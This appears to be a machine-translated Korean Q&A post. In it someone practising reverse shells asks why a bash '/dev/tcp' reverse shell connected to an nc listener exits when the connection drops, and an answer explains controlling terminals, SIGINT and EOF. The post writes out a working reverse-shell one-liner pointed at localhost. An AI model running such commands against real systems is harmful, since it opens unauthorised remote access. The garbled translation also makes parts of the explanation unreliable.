Bash
다양한 리다이렉션 연산자를 사용해 리버스 쉘을 만들어보며 기술을 연습해 왔습니다 .
nc
리스너를 설정한 후:
nc -lvp 4444
다음 명령을 실행합니다.
0<&116-; exec 116<>/dev/tcp/127.0.0.1/4444 >&116 <&116 2>&116; /bin/sh
내가 설명할 수 없는 것은 /bin/sh
연결이 끊어진 후 쉘이 종료되는 이유입니다. 그러나 nc
?를 눌러 쉘의 연결을 끊는 경우에만 해당됩니다. 쉘의 연결이 끊어지면 ^C
쉘 에 입력하면 쉘에 개행 문자가 표시됩니까 ?/bin/sh
^C
/bin/sh
nc
답변1
0<&116-;
오류를 발생시키는 것 외에 이것이 무엇을 달성할 것인지 확실하지 않습니다(fd 116이 이미 열려 있지 않은 한, 이 경우 아무 것도 수행하지 않습니다).
독자들을 혼란스럽게 하시나요?
exec 116<>/dev/tcp/127.0.0.1/4444 >&116 <&116 2>&116; /bin/sh
현재 쉘의 stdin, stdout, stderr을 소켓을 통해 리스너로 리디렉션하더라도 nc
현재 터미널은 여전히제어 터미널껍데기.
현재 터미널의 ^C는 a를 포그라운드 작업으로 보냅니다 SIGINT
. 이는 (다른 명령을 기다리지 않는 경우) 쉘 자체입니다.인터렉티브SIGINT
, 캡처 후 프롬프트를 캡처 하고 다시 인쇄합니다.
다른 터미널( nc -l ..
실행 중이고 쉘이 입력을 받아 출력을 인쇄하는 터미널)의 ^C는 모든 연결을 종료 하고 닫아 표준 입력으로 인해 nc
쉘이 종료되도록 합니다.EOF
/bin/sh
마찬가지로, 추가 수수료가 무엇을 제공해야 하는지도 불분명합니다 . 상위 항목(연결이 끊어진 경우)으로부터 EOF
stdin 또는 SIGPIPE
/ stdout을 상속받았으므로 즉시 종료됩니다 .EPIPE
nc